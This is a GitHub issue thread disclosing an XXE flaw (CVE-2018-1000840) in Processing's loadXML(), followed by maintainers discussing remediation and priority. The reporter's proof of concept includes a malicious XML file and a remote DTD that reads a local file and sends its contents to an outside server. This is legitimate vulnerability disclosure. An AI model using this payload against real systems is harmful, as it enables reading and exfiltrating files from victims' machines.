Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2018-1000840 - XXE in loadXML() #5706

Open
lpezzolla opened this issue Nov 13, 2018 · 9 comments
Open

CVE-2018-1000840 - XXE in loadXML() #5706

lpezzolla opened this issue Nov 13, 2018 · 9 comments

Comments

@lpezzolla
Copy link

lpezzolla commented Nov 13, 2018

Issue

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data since it allows arbitrary file inclusion in the XML and the automated execution of HTTP requests (which can be used to exfiltrate the included data) during the parsing of the XML.

Steps to reproduce

Example Processing script

XML xml;

void setup() {
  xml = loadXML("XXE.xml");
  XML[] data = xml.getChildren("data");
  String exfiltrated_data = data[0].getContent();
  println(exfiltrated_data);
}

Example XML file

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE a [
<!ENTITY % remote_dtd SYSTEM "http://lucapezzolla.com/xxe-test.dtd"> %remote_dtd; ]>
<body>
  <data>&attack;</data>
  <data>Whatever</data>
</body>

Example remote DTD (as stored at the url referenced above)

<!ENTITY % lfi SYSTEM "file:///sys/power/image_size">
<!ENTITY % exfiltrate "<!ENTITY attack SYSTEM 'http://lucapezzolla.com/mirror.php?file=%lfi;'>">
%exfiltrate;

Further clarification

The proof of concept provided above retrieves from the remote server the DTD specification. During the execution of loadXML the DTD is then parsed, reading in the example the content of /sys/power/image_size.
The content of the file is than transmitted through an HTTP request (row 2 of the DTD) to the remote server, that returns the content of $_REQUEST, providing the console output.

Remediation

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

@jeremydouglass
Copy link
Contributor

Ouch. The nasty thing about that is that the actual PDE file looks completely innocuous.

The safest way to prevent XXE is always to disable DTDs (External Entities) completely. Depending on the parser, the method should be similar to the following: ...

I wonder if that could be disabled by default and enabled with a setting -- or just disabled. It seems like remote DTDs would be an unusual use case for a Processing user.

@lpezzolla
Copy link
Author

Yes, the best solution would be to disable DTDs by default and provide a method to manually enable them, even though I agree it does not seem like a common use case.

@lpezzolla
Copy link
Author

lpezzolla commented Dec 27, 2018

The issue has been recognized as a vulnerability and assigned CVE-2018-1000840.
Is anyone of the core developers planning on fixing this?

@lpezzolla lpezzolla changed the title XXE in loadXML() CVE-2018-1000840 - XXE in loadXML() Dec 27, 2018
@jeremydouglass
Copy link
Contributor

I'm guessing that such a change would involve updating the XML source libraries (if they are incorporating it upstream) or changing something (?) around here....

https://github.com/processing/processing/blob/master/core/src/processing/data/XML.java#L121

@NicoleG25
Copy link

Was this issue ever addressed?
Thanks in advance :)

@jeremydouglass
Copy link
Contributor

I do not believe it was addressed -- at least, I don't see any changes in XML.java history. The underlying javax.xml code source is pinned to Java 8u202, so nothing has changed there.

https://github.com/processing/processing/blob/master/core/src/processing/data/XML.java#L160

If someone was interested in developing a patch to submit, I'm guessing that it would probably be added to XML.java and based on the Java DocumentBuilderFactory example here:

https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

But, I am not a core dev -- just suggesting potential ways forward.

@benfry
Copy link
Member

benfry commented Jan 18, 2020

I've already told the creator of the bug (and now CVE, FFS) that this is an overwrought response to an almost entirely unlikely scenario.

This is a development environment. It's like filing bugs for C++ because /etc/passwd is accessible from code written with it.

But if someone wants to contribute a fix, that's great. Sounds like it'd be fairly straightforward. It's just way, way down on the priority list relative to actual problems people are having with the software.

@NicoleG25
Copy link

I've already told the creator of the bug (and now CVE, FFS) that this is an overwrought response to an almost entirely unlikely scenario.

This is a development environment. It's like filing bugs for C++ because /etc/passwd is accessible from code written with it.

But if someone wants to contribute a fix, that's great. Sounds like it'd be fairly straightforward. It's just way, way down on the priority list relative to actual problems people are having with the software.

Ah I see, well I'm assuming you've contacted CVE in order to reject/dispute this vulnerability ?

@benfry
Copy link
Member

benfry commented Jan 18, 2020

No, again, I need to spend my very limited free time on actual problems, not theoretical ones. Hopefully someone will contribute a fix if they feel strongly about it.

I'm not an organization, I'm one person, working in his free time on this thing that I'm giving away for free. I can't do everything, and I need help.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants